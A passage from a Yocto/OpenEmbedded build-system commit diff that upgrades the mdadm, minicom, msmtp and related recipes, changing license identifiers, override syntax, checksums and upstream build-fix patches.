short_bitmap_auto_options; + break; + case 'F': newmode = MONITOR; ++ shortopt = short_increment_options; + break; + case 'G': newmode = GROW; + shortopt = short_bitmap_options; +@@ -268,6 +269,7 @@ int main(int argc, char *argv[]) + + case NoSharing: + newmode = MONITOR; ++ shortopt = short_increment_options; + break; + } + if (mode && newmode == mode) { +diff --git a/mdadm.h b/mdadm.h +index ecfc137..42148dd 100644 +--- a/mdadm.h ++++ b/mdadm.h +@@ -421,6 +421,7 @@ enum mode { + extern char short_options[]; + extern char short_bitmap_options[]; + extern char short_bitmap_auto_options[]; ++extern char short_increment_options[]; + extern struct option long_options[]; + extern char Version[], Usage[], Help[], OptionHelp[], + *mode_help[], diff --git a/meta/recipes-extended/mdadm/files/0001-Makefile-install-mdcheck.patch b/meta/recipes-extended/mdadm/files/0001-Makefile-install-mdcheck.patch new file mode 100644 index 0000000000..3f76ef54d8 --- /dev/null +++ b/meta/recipes-extended/mdadm/files/0001-Makefile-install-mdcheck.patch @@ -0,0 +1,30 @@ +From 97e776724ab9763c5bca9816370bb1635b7a8232 Mon Sep 17 00:00:00 2001 +From: Chen Qi <Qi.Chen@windriver.com> +Date: Tue, 25 Jan 2022 16:25:01 +0800 +Subject: [PATCH] Makefile: install mdcheck + +The mdcheck_xxx.service files use mdcheck, but it's not installed. +We need to install this script. + +Upstream-Status: Submitted [Sent patch to maintainer] + +Signed-off-by: Chen Qi <Qi.Chen@windriver.com> +--- + Makefile | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/Makefile b/Makefile +index 2a51d813..db40c7fd 100644 +--- a/Makefile ++++ b/Makefile +@@ -303,6 +303,7 @@ install-systemd: systemd/mdmon@.service + install-bin: mdadm mdmon + $(INSTALL) -D $(STRIP) -m 755 mdadm $(DESTDIR)$(BINDIR)/mdadm + $(INSTALL) -D $(STRIP) -m 755 mdmon $(DESTDIR)$(BINDIR)/mdmon ++ $(INSTALL) -D -m 755 misc/mdcheck $(DESTDIR)/usr/share/mdadm/mdcheck + + uninstall: + rm -f $(DESTDIR)$(MAN8DIR)/mdadm.8 $(DESTDIR)$(MAN8DIR)/mdmon.8 $(DESTDIR)$(MAN4DIR)/md.4 $(DESTDIR)$(MAN5DIR)/mdadm.conf.5 $(DESTDIR)$(BINDIR)/mdadm +-- +2.17.1 + diff --git a/meta/recipes-extended/mdadm/files/0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch b/meta/recipes-extended/mdadm/files/0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch index b196084a5c..fb4bc165fb 100644 --- a/meta/recipes-extended/mdadm/files/0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch +++ b/meta/recipes-extended/mdadm/files/0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch @@ -10,7 +10,7 @@ use the previous logic "check wait" which also used commonly by other tests such as tests/02r5grow, tests/07revert-grow and etc. -Upstream-Status: Submitted[https://marc.info/?l=linux-raid&m=156317157314030&w=2] +Upstream-Status: Submitted [https://marc.info/?l=linux-raid&m=156317157314030&w=2] Signed-off-by: Mingli Yu <Mingli.Yu@windriver.com> --- diff --git a/meta/recipes-extended/mdadm/files/0001-mdadm-skip-test-11spare-migration.patch b/meta/recipes-extended/mdadm/files/0001-mdadm-skip-test-11spare-migration.patch index 3a192cc95c..84517caade 100644 --- a/meta/recipes-extended/mdadm/files/0001-mdadm-skip-test-11spare-migration.patch +++ b/meta/recipes-extended/mdadm/files/0001-mdadm-skip-test-11spare-migration.patch @@ -17,7 +17,7 @@ done "try" includes near 20 sub testcase, so there are nearly 80 subcases need to run, so it will take long time than ptest-runner timeout limit, skip it as workaround. -Upstream-Status: Inappropriate[oe-specific] +Upstream-Status: Inappropriate [oe-specific] Signed-off-by: Changqing Li <changqing.li@windriver.com> --- diff --git a/meta/recipes-extended/mdadm/files/debian-no-Werror.patch b/meta/recipes-extended/mdadm/files/debian-no-Werror.patch index e66a15cd79..fa90647489 100644 --- a/meta/recipes-extended/mdadm/files/debian-no-Werror.patch +++ b/meta/recipes-extended/mdadm/files/debian-no-Werror.patch @@ -1,5 +1,7 @@ -From: martin f. krafft <madduck@debian.org> -Subject: Remove -Werror from compiler flags +From adb75f0bdec97dbe4aa15cc988d349775f7995ff Mon Sep 17 00:00:00 2001 +From: "martin f. krafft" <madduck@debian.org> +Date: Mon, 3 Jan 2022 19:14:12 +0000 +Subject: [PATCH] Remove -Werror from compiler flags -Werror seems like a bad idea on released/packaged code because a toolchain update (introducing new warnings) could break the build. We'll let upstream @@ -8,15 +10,18 @@ use it to beautify the code, but remove it for out builds. Signed-off-by: martin f. krafft <madduck@debian.org> Upstream-Status: Pending + --- - Makefile | 2 +- - 1 files changed, 1 insertions(+), 1 deletions(-) + Makefile | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) +diff --git a/Makefile b/Makefile +index 716c97c..40354ea 100644 --- a/Makefile +++ b/Makefile -@@ -48,7 +48,7 @@ endif - - CC ?= $(CROSS_COMPILE)gcc +@@ -50,7 +50,7 @@ ifeq ($(origin CC),default) + CC := $(CROSS_COMPILE)gcc + endif CXFLAGS ?= -ggdb -CWFLAGS = -Wall -Werror -Wstrict-prototypes -Wextra -Wno-unused-parameter +CWFLAGS = -Wall -Wstrict-prototypes -Wextra -Wno-unused-parameter diff --git a/meta/recipes-extended/mdadm/files/mdadm-fix-ptest-build-errors.patch b/meta/recipes-extended/mdadm/files/mdadm-fix-ptest-build-errors.patch deleted file mode 100644 index 8e2a8a9043..0000000000 --- a/meta/recipes-extended/mdadm/files/mdadm-fix-ptest-build-errors.patch +++ /dev/null @@ -1,43 +0,0 @@ -From 911f6ea9be0c334885aeff66853b111cbd4066df Mon Sep 17 00:00:00 2001 -From: "Maxin B. John" <maxin.john@intel.com> -Date: Wed, 10 Feb 2016 17:28:05 +0200 -Subject: [PATCH] mdadm-fix-ptest-build-errors - -builds fail with ptest enabled: - -| restripe.c: In function 'test_stripes': -| restripe.c:845:4: error: ignoring return value of 'read', declared with -| attribute warn_unused_result [-Werror=unused-result] -| read(source[i], stripes[i], chunk_size); -| ^ -| cc1: all warnings being treated as errors -| Makefile:214: recipe for target 'test_stripe' failed - -Upstream-Status: Pending - -Signed-off-by: Maxin B. John <maxin.john@intel.com> - ---- - restripe.c | 6 +++++- - 1 file changed, 5 insertions(+), 1 deletion(-) - -diff --git a/restripe.c b/restripe.c -index 31b07e8..592ba5d 100644 ---- a/restripe.c -+++ b/restripe.c -@@ -864,10 +864,14 @@ int test_stripes(int *source, unsigned long long *offsets, - - while (length > 0) { - int disk; -+ ssize_t ret; - - for (i = 0 ; i < raid_disks ; i++) { - lseek64(source[i], offsets[i]+start, 0); -- read(source[i], stripes[i], chunk_size); -+ ret = read(source[i], stripes[i], chunk_size); -+ if (ret == -1) { -+ printf("Read Failed\n"); -+ } - } - for (i = 0 ; i < data_disks ; i++) { - int disk = geo_map(i, start/chunk_size, raid_disks, diff --git a/meta/recipes-extended/mdadm/mdadm_4.1.bb b/meta/recipes-extended/mdadm/mdadm_4.2.bb index 001d3331a7..1c2fc8c37a 100644 --- a/meta/recipes-extended/mdadm/mdadm_4.1.bb +++ b/meta/recipes-extended/mdadm/mdadm_4.2.bb @@ -1,8 +1,9 @@ SUMMARY = "Tool for managing software RAID under Linux" HOMEPAGE = "http://www.kernel.org/pub/linux/utils/raid/mdadm/" +DESCRIPTION = "mdadm is a Linux utility used to manage and monitor software RAID devices." -# Some files are GPLv2+ while others are GPLv2. -LICENSE = "GPLv2 & GPLv2+" +# Some files are GPL-2.0-only while others are GPL-2.0-or-later. +LICENSE = "GPL-2.0-only & GPL-2.0-or-later" LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \ file://mdmon.c;beginline=4;endline=18;md5=af7d8444d9c4d3e5c7caac0d9d34039d \ file://mdadm.h;beglinlne=4;endline=22;md5=462bc9936ac0d3da110191a3f9994161" @@ -11,11 +12,9 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \ SRC_URI = "${KERNELORG_MIRROR}/linux/utils/raid/mdadm/${BPN}-${PV}.tar.xz \ file://run-ptest \ file://mdadm-3.3.2_x32_abi_time_t.patch \ - file://mdadm-fix-ptest-build-errors.patch \ file://0001-mdadm.h-Undefine-dprintf-before-redefining.patch \ file://0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch \ file://0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch \ - file://0001-Compute-abs-diff-in-a-standard-compliant-way.patch \ file://0001-fix-gcc-8-format-truncation-warning.patch \ file://debian-no-Werror.patch \ file://0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch \ @@ -23,30 +22,33 @@ SRC_URI = "${KERNELORG_MIRROR}/linux/utils/raid/mdadm/${BPN}-${PV}.tar.xz \ file://0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch \ file://include_sysmacros.patch \ file://0001-mdadm-skip-test-11spare-migration.patch \ + file://0001-Fix-parsing-of-r-in-monitor-manager-mode.patch \ + file://0001-Makefile-install-mdcheck.patch \ " -SRC_URI[md5sum] = "51bf3651bd73a06c413a2f964f299598" -SRC_URI[sha256sum] = "ab7688842908d3583a704d491956f31324c3a5fc9f6a04653cb75d19f1934f4a" +SRC_URI[sha256sum] = "461c215670864bb74a4d1a3620684aa2b2f8296dffa06743f26dda5557acf01d" inherit autotools-brokensep ptest systemd -SYSTEMD_SERVICE_${PN} = "mdmonitor.service" +DEPENDS = "udev" + +SYSTEMD_SERVICE:${PN} = "mdmonitor.service" SYSTEMD_AUTO_ENABLE = "disable" -CFLAGS_append_toolchain-clang = " -Wno-error=address-of-packed-member" +CFLAGS:append:toolchain-clang = " -Wno-error=address-of-packed-member" # PPC64 and MIPS64 uses long long for u64 in the kernel, but powerpc's asm/types.h # prevents 64-bit userland from seeing this definition, instead defaulting # to u64 == long in userspace. Define __SANE_USERSPACE_TYPES__ to get # int-ll64.h included -CFLAGS_append_powerpc64 = ' -D__SANE_USERSPACE_TYPES__' -CFLAGS_append_mipsarchn64 = ' -D__SANE_USERSPACE_TYPES__' -CFLAGS_append_mipsarchn32 = ' -D__SANE_USERSPACE_TYPES__' +CFLAGS:append:powerpc64 = ' -D__SANE_USERSPACE_TYPES__' +CFLAGS:append:mipsarchn64 = ' -D__SANE_USERSPACE_TYPES__' +CFLAGS:append:mipsarchn32 = ' -D__SANE_USERSPACE_TYPES__' -EXTRA_OEMAKE = 'CHECK_RUN_DIR=0 CXFLAGS="${CFLAGS}" SYSTEMD_DIR=${systemd_unitdir}/system \ +EXTRA_OEMAKE = 'CHECK_RUN_DIR=0 CXFLAGS="${CFLAGS}" SYSTEMD_DIR=${systemd_system_unitdir} \ BINDIR="${base_sbindir}" UDEVDIR="${nonarch_base_libdir}/udev"' -DEBUG_OPTIMIZATION_append = " -Wno-error" +DEBUG_OPTIMIZATION:append = " -Wno-error" do_compile() { oe_runmake SYSROOT="${STAGING_DIR_TARGET}" @@ -57,14 +59,14 @@ do_install() { autotools_do_install } -do_install_append() { +do_install:append() { install -d ${D}/${sysconfdir}/ install -m 644 ${S}/mdadm.conf-example ${D}${sysconfdir}/mdadm.conf install -d ${D}/${sysconfdir}/init.d install -m 755 ${WORKDIR}/mdadm.init ${D}${sysconfdir}/init.d/mdmonitor } -do_install_append() { +do_install:append() { oe_runmake install-systemd DESTDIR=${D} } @@ -92,8 +94,9 @@ do_install_ptest() { done } -RDEPENDS_${PN}-ptest += "bash e2fsprogs-mke2fs" -RRECOMMENDS_${PN}-ptest += " \ +RDEPENDS:${PN} += "bash" +RDEPENDS:${PN}-ptest += "bash e2fsprogs-mke2fs" +RRECOMMENDS:${PN}-ptest += " \ coreutils \ util-linux \ kernel-module-loop \ @@ -104,4 +107,4 @@ RRECOMMENDS_${PN}-ptest += " \ kernel-module-raid456 \ " -FILES_${PN} += "${systemd_unitdir}/*" +FILES:${PN} += "${systemd_unitdir}/*" diff --git a/meta/recipes-extended/mingetty/mingetty_1.08.bb b/meta/recipes-extended/mingetty/mingetty_1.08.bb index 491b892093..7a16c65299 100644 --- a/meta/recipes-extended/mingetty/mingetty_1.08.bb +++ b/meta/recipes-extended/mingetty/mingetty_1.08.bb @@ -1,7 +1,8 @@ SUMMARY = "Compact getty terminal handler for virtual consoles only" SECTION = "console/utils" HOMEPAGE = "http://sourceforge.net/projects/mingetty/" -LICENSE = "GPLv2" +DESCRIPTION = "This is a small Linux console getty that is started on the Linux text console, asks for a login name and then tranfers over to login directory. Is extended to allow automatic login and starting any app." +LICENSE = "GPL-2.0-only" PR = "r3" LIC_FILES_CHKSUM = "file://COPYING;md5=0c56db0143f4f80c369ee3af7425af6e" @@ -23,7 +24,7 @@ do_install(){ inherit update-alternatives -ALTERNATIVE_${PN} = "getty" +ALTERNATIVE:${PN} = "getty" ALTERNATIVE_LINK_NAME[getty] = "${base_sbindir}/getty" ALTERNATIVE_TARGET[getty] = "${base_sbindir}/mingetty" ALTERNATIVE_PRIORITY = "10" diff --git a/meta/recipes-extended/minicom/minicom/0001-Drop-superfluous-global-variable-definitions.patch b/meta/recipes-extended/minicom/minicom/0001-Drop-superfluous-global-variable-definitions.patch new file mode 100644 index 0000000000..01b23898e7 --- /dev/null +++ b/meta/recipes-extended/minicom/minicom/0001-Drop-superfluous-global-variable-definitions.patch @@ -0,0 +1,35 @@ +From b65152ebc03832972115e6d98e50cb6190d01793 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Ond=C5=99ej=20Lyson=C4=9Bk?= <olysonek@redhat.com> +Date: Mon, 3 Feb 2020 13:18:13 +0100 +Subject: [PATCH 1/3] Drop superfluous global variable definitions + +The file minicom.c, by including the minicom.h header, already defines +the global variables 'dial_user' and 'dial_pass'. The object file +minicom.o is always linked to dial.o. Thus the definitions in dial.c +can be dropped. + +This fixes linking with gcc 10 which uses -fno-common by default, +disallowing multiple global variable definitions. + +Upstream-Status: Backport [https://salsa.debian.org/minicom-team/minicom/-/commit/db269bba2a68fde03f5df45ac8372a8f1248ca96] +Signed-off-by: Khem Raj <raj.khem@gmail.com> +--- + src/dial.c | 2 -- + 1 file changed, 2 deletions(-) + +diff --git a/src/dial.c b/src/dial.c +index eada5ee..d9d481f 100644 +--- a/src/dial.c ++++ b/src/dial.c +@@ -146,8 +146,6 @@ static int newtype; + /* Access to ".dialdir" denied? */ + static int dendd = 0; + static char *tagged; +-char *dial_user; +-char *dial_pass; + + /* Change the baud rate. Treat all characters in the given array as if + * they were key presses within the comm parameters dialog (C-A P) and +-- +2.24.1 + diff --git a/meta/recipes-extended/minicom/minicom/0001-Fix-build-issus-surfaced-due-to-musl.patch b/meta/recipes-extended/minicom/minicom/0001-Fix-build-issus-surfaced-due-to-musl.patch deleted file mode 100644 index fec67fdd3f..0000000000 --- a/meta/recipes-extended/minicom/minicom/0001-Fix-build-issus-surfaced-due-to-musl.patch +++ /dev/null @@ -1,47 +0,0 @@ -From d62a5862e26ed3fc58d789efe9c40ca6c911d36b Mon Sep 17 00:00:00 2001 -From: Khem Raj <raj.khem@gmail.com> -Date: Mon, 31 Aug 2015 22:35:31 +0000 -Subject: [PATCH] Fix build issus surfaced due to musl - -src/getsdir.h:28:14: error: 'MAXNAMLEN' undeclared here (not in a function) - char fname[MAXNAMLEN + 1]; /* filename + terminating null */ - -src/dial.c:352:22: error: 'KIOCSOUND' undeclared (first use in this function) -| ioctl(consolefd, KIOCSOUND, k); - -Signed-off-by: Khem Raj <raj.khem@gmail.com> ---- -Upstream-Status: Pending - - src/dial.c | 2 +- - src/getsdir.c | 1 + - 2 files changed, 2 insertions(+), 1 deletion(-) - -diff --git a/src/dial.c b/src/dial.c -index a90c1d2..bf02574 100644 ---- a/src/dial.c -+++ b/src/dial.c -@@ -39,7 +39,7 @@ - #include "intl.h" - - #ifdef VC_MUSIC --# if defined(__GLIBC__) -+# if defined(__GLIBC__) || defined(__linux__) - # include <sys/ioctl.h> - # include <sys/kd.h> - # include <sys/time.h> -diff --git a/src/getsdir.c b/src/getsdir.c -index 2195b27..b61a361 100644 ---- a/src/getsdir.c -+++ b/src/getsdir.c -@@ -30,6 +30,7 @@ - #include <string.h> - #include <sys/types.h> - #include <sys/stat.h> -+#include <sys/param.h> - #include <errno.h> - - #include "getsdir.h" --- -2.5.1 - diff --git a/meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch b/meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch index bd8261c979..9e67126f3e 100644 --- a/meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch +++ b/meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch @@ -1,35 +1,33 @@ -Subject: [PATCH] fix minicom -h/-v return value is not 0 +Exit normally for help/verison options -Upstream-Status: Pending - -Signed-off-by: Lu Chong <Chong.Lu@windriver.com> +If -v or -h is used for the help/version information, it is a normal exit situation, +not an error condition. Sometimes these are used as a simple operation test of the +resulting binary so the exit code does matter. +Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org> +Upstream-Status: Submitted [https://salsa.debian.org/minicom-team/minicom/-/merge_requests/14] --- src/minicom.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) -diff --git a/src/minicom.c b/src/minicom.c -index e1a557b..730da7c 100644 ---- a/src/minicom.c -+++ b/src/minicom.c -@@ -1166,15 +1166,13 @@ int main(int argc, char **argv) - "modify it under the terms of the GNU General Public License\n" +Index: minicom-2.8/src/minicom.c +=================================================================== +--- minicom-2.8.orig/src/minicom.c ++++ minicom-2.8/src/minicom.c +@@ -1257,14 +1257,14 @@ int main(int argc, char **argv) + "modify it under the terms of the GNU General Public License\n" "as published by the Free Software Foundation; either version\n" - "2 of the License, or (at your option) any later version.\n\n"); + "2 of the License, or (at your option) any later version.\n\n")); - exit(1); -- break; + exit(0); + break; case 's': /* setup mode */ dosetup = 1; break; case 'h': helpthem(); - exit(1); -- break; + exit(0); + break; case 'p': /* Pseudo terminal to use. */ if (strncmp(optarg, "/dev/", 5) == 0) - optarg += 5; --- -1.7.9.5 - diff --git a/meta/recipes-extended/minicom/minicom/0002-Drop-superfluous-global-variable-definitions.patch b/meta/recipes-extended/minicom/minicom/0002-Drop-superfluous-global-variable-definitions.patch new file mode 100644 index 0000000000..e86b470b7e --- /dev/null +++ b/meta/recipes-extended/minicom/minicom/0002-Drop-superfluous-global-variable-definitions.patch @@ -0,0 +1,37 @@ +From 924bd2da3a00e030e29d82b74ef82900bd50b475 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Ond=C5=99ej=20Lyson=C4=9Bk?= <olysonek@redhat.com> +Date: Mon, 3 Feb 2020 13:18:33 +0100 +Subject: [PATCH 2/3] Drop superfluous global variable definitions + +The only place where the EXTERN macro mechanism is used to define the +global variables 'vt_outmap' and 'vt_inmap' is minicom.c (by defining +an empty EXTERN macro and including the minicom.h header). The file +vt100.c already defines these variables. The vt100.o object file is +always linked to minicom.o. Thus it is safe not to define the +variables in minicom.c and only declare them in the minicom.h header. + +This fixes linking with gcc 10 which uses -fno-common by default, +disallowing multiple global variable definitions. + +Upstream-Status: Backport [https://salsa.debian.org/minicom-team/minicom/-/commit/c69cad5b5dda85d361a3a0c1fddc65e933f26d11] +Signed-off-by: Khem Raj <raj.khem@gmail.com> +--- + src/minicom.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/src/minicom.h b/src/minicom.h +index 061c013..0f9693b 100644 +--- a/src/minicom.h ++++ b/src/minicom.h +@@ -141,7 +141,7 @@ EXTERN int sbcolor; /* Status Bar Background Color */ + EXTERN int st_attr; /* Status Bar attributes. */ + + /* jl 04.09.97 conversion tables */ +-EXTERN unsigned char vt_outmap[256], vt_inmap[256]; ++extern unsigned char vt_outmap[256], vt_inmap[256]; + + /* MARK updated 02/17/95 - history buffer */ + EXTERN int num_hist_lines; /* History buffer size */ +-- +2.24.1 + diff --git a/meta/recipes-extended/minicom/minicom/0003-Drop-superfluous-global-variable-definitions.patch b/meta/recipes-extended/minicom/minicom/0003-Drop-superfluous-global-variable-definitions.patch new file mode 100644 index 0000000000..3225a0c32a --- /dev/null +++ b/meta/recipes-extended/minicom/minicom/0003-Drop-superfluous-global-variable-definitions.patch @@ -0,0 +1,42 @@ +From a4fc603b3641d2efe31479116eb7ba66932901c7 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Ond=C5=99ej=20Lyson=C4=9Bk?= <olysonek@redhat.com> +Date: Mon, 3 Feb 2020 13:21:41 +0100 +Subject: [PATCH 3/3] Drop superfluous global variable definitions + +The only place where the EXTERN macro mechanism is used to define the +global variables 'portfd_is_socket', 'portfd_is_connected' and +'portfd_sock_addr' is minicom.c (by defining an empty EXTERN macro and +including the minicom.h header). The source file sysdep1_s.c already +defines these variables. The sysdep1_s.o object file is always linked +to minicom.o. Thus it is safe to drop the definitions from minicom.c +and only declare the variables in the minicom.h header. + +This fixes linking with gcc 10 which uses -fno-common by default, +disallowing multiple global variable definitions. + +Upstream-Status: Backport [https://salsa.debian.org/minicom-team/minicom/-/commit/c8382374c5d340aa4115d527aed76e876ee5456b] +Signed-off-by: Khem Raj <raj.khem@gmail.com> +--- + src/minicom.h | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +diff --git a/src/minicom.h b/src/minicom.h +index 0f9693b..1e7cb8c 100644 +--- a/src/minicom.h ++++ b/src/minicom.h +@@ -113,9 +113,9 @@ EXTERN char *dial_user; /* Our username there */ + EXTERN char *dial_pass; /* Our password */ + + #ifdef USE_SOCKET +-EXTERN int portfd_is_socket; /* File descriptor is a unix socket */ +-EXTERN int portfd_is_connected; /* 1 if the socket is connected */ +-EXTERN struct sockaddr_un portfd_sock_addr; /* the unix socket address */ ++extern int portfd_is_socket; /* File descriptor is a unix socket */ ++extern int portfd_is_connected; /* 1 if the socket is connected */ ++extern struct sockaddr_un portfd_sock_addr; /* the unix socket address */ + #define portfd_connected ((portfd_is_socket && !portfd_is_connected) \ + ? -1 : portfd) + #else +-- +2.24.1 + diff --git a/meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch b/meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch index f5c08896ff..39dc5c0492 100644 --- a/meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch +++ b/meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch @@ -1,10 +1,19 @@ -Upstream-Status: Pending +configure: Allow lockdev to be disabled + +When the pkgconfig dependencies may be present, it is useful to be +able to explictly disable the lockdev dependency. This adds such an +option. Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com> +Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org> + +Upstream-Status: Submitted [https://salsa.debian.org/minicom-team/minicom/-/merge_requests/14] ---- a/configure.in 2013-02-06 18:18:13.000000000 +0100 -+++ b/configure.in 2013-07-21 15:31:27.614828894 +0200 -@@ -40,7 +40,13 @@ +Index: minicom-2.8/configure.ac +=================================================================== +--- minicom-2.8.orig/configure.ac ++++ minicom-2.8/configure.ac +@@ -43,7 +43,13 @@ if test "x$enable_socket" = xyes; then fi PKG_PROG_PKG_CONFIG diff --git a/meta/recipes-extended/minicom/minicom_2.7.1.bb b/meta/recipes-extended/minicom/minicom_2.8.bb index 1e6f1317eb..2640c6b057 100644 --- a/meta/recipes-extended/minicom/minicom_2.7.1.bb +++ b/meta/recipes-extended/minicom/minicom_2.8.bb @@ -1,20 +1,18 @@ SUMMARY = "Text-based modem control and terminal emulation program" -HOMEPAGE = "http://alioth.debian.org/projects/minicom/" +HOMEPAGE = "https://salsa.debian.org/minicom-team/minicom" DESCRIPTION = "Minicom is a text-based modem control and terminal emulation program for Unix-like operating systems" SECTION = "console/network" DEPENDS = "ncurses virtual/libiconv" -LICENSE = "GPLv2+" +LICENSE = "GPL-2.0-or-later" LIC_FILES_CHKSUM = "file://COPYING;md5=420477abc567404debca0a2a1cb6b645 \ file://src/minicom.h;beginline=1;endline=12;md5=a58838cb709f0db517f4e42730c49e81" -SRC_URI = "${DEBIAN_MIRROR}/main/m/${BPN}/${BPN}_${PV}.orig.tar.gz \ +SRC_URI = "${DEBIAN_MIRROR}/main/m/${BPN}/${BPN}_${PV}.orig.tar.bz2 \ file://allow.to.disable.lockdev.patch \ file://0001-fix-minicom-h-v-return-value-is-not-0.patch \ - file://0001-Fix-build-issus-surfaced-due-to-musl.patch \ - " +" -SRC_URI[md5sum] = "9021cb8c5445f6e6e74b2acc39962d62" -SRC_URI[sha256sum] = "532f836b7a677eb0cb1dca8d70302b73729c3d30df26d58368d712e5cca041f1" +SRC_URI[sha256sum] = "38cea30913a20349326ff3f1763ee1512b7b41601c24f065f365e18e9db0beba" PACKAGECONFIG ??= "" PACKAGECONFIG[lockdev] = "--enable-lockdev,--disable-lockdev,lockdev" @@ -25,4 +23,6 @@ do_install() { for d in doc extras man lib src; do make -C $d DESTDIR=${D} install; done } -RRECOMMENDS_${PN} += "lrzsz" +RRECOMMENDS:${PN} += "lrzsz" + +RDEPENDS:${PN} += "ncurses-terminfo-base" diff --git a/meta/recipes-extended/msmtp/msmtp_1.8.11.bb b/meta/recipes-extended/msmtp/msmtp_1.8.19.bb index 804ed59b4e..bdbb1daadd 100644 --- a/meta/recipes-extended/msmtp/msmtp_1.8.11.bb +++ b/meta/recipes-extended/msmtp/msmtp_1.8.19.bb @@ -3,7 +3,7 @@ DESCRIPTION = "A sendmail replacement for use in MTAs like mutt" HOMEPAGE = "https://marlam.de/msmtp/" SECTION = "console/network" -LICENSE = "GPLv3" +LICENSE = "GPL-3.0-only" DEPENDS = "zlib gnutls" LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504" @@ -11,15 +11,15 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504" UPSTREAM_CHECK_URI = "https://marlam.de/msmtp/download/" SRC_URI = "https://marlam.de/${BPN}/releases/${BP}.tar.xz" -SRC_URI[sha256sum] = "f25f0fa177ce9e0ad65c127e790a37f35fb64fee9e33d90345844c5c86780e60" +SRC_URI[sha256sum] = "34a1e1981176874dbe4ee66ee0d9103c90989aa4dcdc4861e4de05ce7e44526b" inherit gettext autotools update-alternatives pkgconfig EXTRA_OECONF += "--without-libsecret --without-libgsasl --without-libidn" -ALTERNATIVE_${PN} = "sendmail" +ALTERNATIVE:${PN} = "sendmail" # /usr/lib/sendmial is required by LSB core test -ALTERNATIVE_${PN}_linuxstdbase = "sendmail usr-lib-sendmail" +ALTERNATIVE:${PN}:linuxstdbase = "sendmail usr-lib-sendmail" ALTERNATIVE_TARGET[sendmail] = "${bindir}/msmtp" ALTERNATIVE_LINK_NAME[sendmail] = "${sbindir}/sendmail" ALTERNATIVE_TARGET[usr-lib-sendmail] = "${bindir}/msmtp" diff --git a/meta/recipes-extended/net-tools/net-tools/0001-added-ull-prefix-to-unsigned-long-long-constants-to-.patch b/meta/recipes-extended/net-tools/net-tools/0001-added-ull-prefix-to-unsigned-long-long-constants-to-.patch deleted file mode 100644 index 523d434b7c..0000000000 --- a/meta/recipes-extended/net-tools/net-tools/0001-added-ull-prefix-to-unsigned-long-long-constants-to-.patch +++ /dev/null @@ -1,381 +0,0 @@ -From eb04ef31571f6c707eacaba6846feeebfab518e6 Mon Sep 17 00:00:00 2001 -From: Bernd Eckenfels <net-tools@lina.inka.de> -Date: Thu, 29 May 2003 02:09:14 +0000 -Subject: [PATCH] added 'ull' prefix to unsigned long long constants to make - gcc 3.3 happy - -Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com> -Upstream-Status: Backport [https://sourceforge.net/p/net-tools/code/ci/eb04ef31571f6c707eacaba6846feeebfab518e6] ---- - lib/interface.c | 299 ++++++++++++++++++++++++++---------------------- - 1 file changed, 161 insertions(+), 138 deletions(-) - -diff -uNr net-tools-1.60.orig/lib/interface.c net-tools-1.60/lib/interface.c ---- net-tools-1.60.orig/lib/interface.c 2020-06-16 10:04:16.308411879 +0000 -+++ net-tools-1.60/lib/interface.c 2020-06-16 10:05:15.697264291 +0000 -@@ -23,7 +23,6 @@ - #include <string.h> - #include <unistd.h> - #include <ctype.h> --#include <string.h> - - #if HAVE_AFIPX - #if (__GLIBC__ > 2) || (__GLIBC__ == 2 && __GLIBC_MINOR__ >= 1) -@@ -654,6 +653,8 @@ - const char *Rext = "B"; - const char *Text = "B"; - -+ static char flags[200]; -+ - #if HAVE_AFIPX - static struct aftype *ipxtype = NULL; - #endif -@@ -685,32 +686,68 @@ - if (hw == NULL) - hw = get_hwntype(-1); - -- printf(_("%-9s Link encap:%s "), ptr->name, hw->title); -- /* For some hardware types (eg Ash, ATM) we don't print the -- hardware address if it's null. */ -- if (hw->print != NULL && (! (hw_null_address(hw, ptr->hwaddr) && -- hw->suppress_null_addr))) -- printf(_("HWaddr %s "), hw->print(ptr->hwaddr)); --#ifdef IFF_PORTSEL -- if (ptr->flags & IFF_PORTSEL) { -- printf(_("Media:%s"), if_port_text[ptr->map.port][0]); -- if (ptr->flags & IFF_AUTOMEDIA) -- printf(_("(auto)")); -- } -+ sprintf(flags, "flags=%d<", ptr->flags); -+ /* DONT FORGET TO ADD THE FLAGS IN ife_print_short, too */ -+ if (ptr->flags == 0) -+ strcat(flags,">"); -+ if (ptr->flags & IFF_UP) -+ strcat(flags,_("UP,")); -+ if (ptr->flags & IFF_BROADCAST) -+ strcat(flags,_("BROADCAST,")); -+ if (ptr->flags & IFF_DEBUG) -+ strcat(flags,_("DEBUG,")); -+ if (ptr->flags & IFF_LOOPBACK) -+ 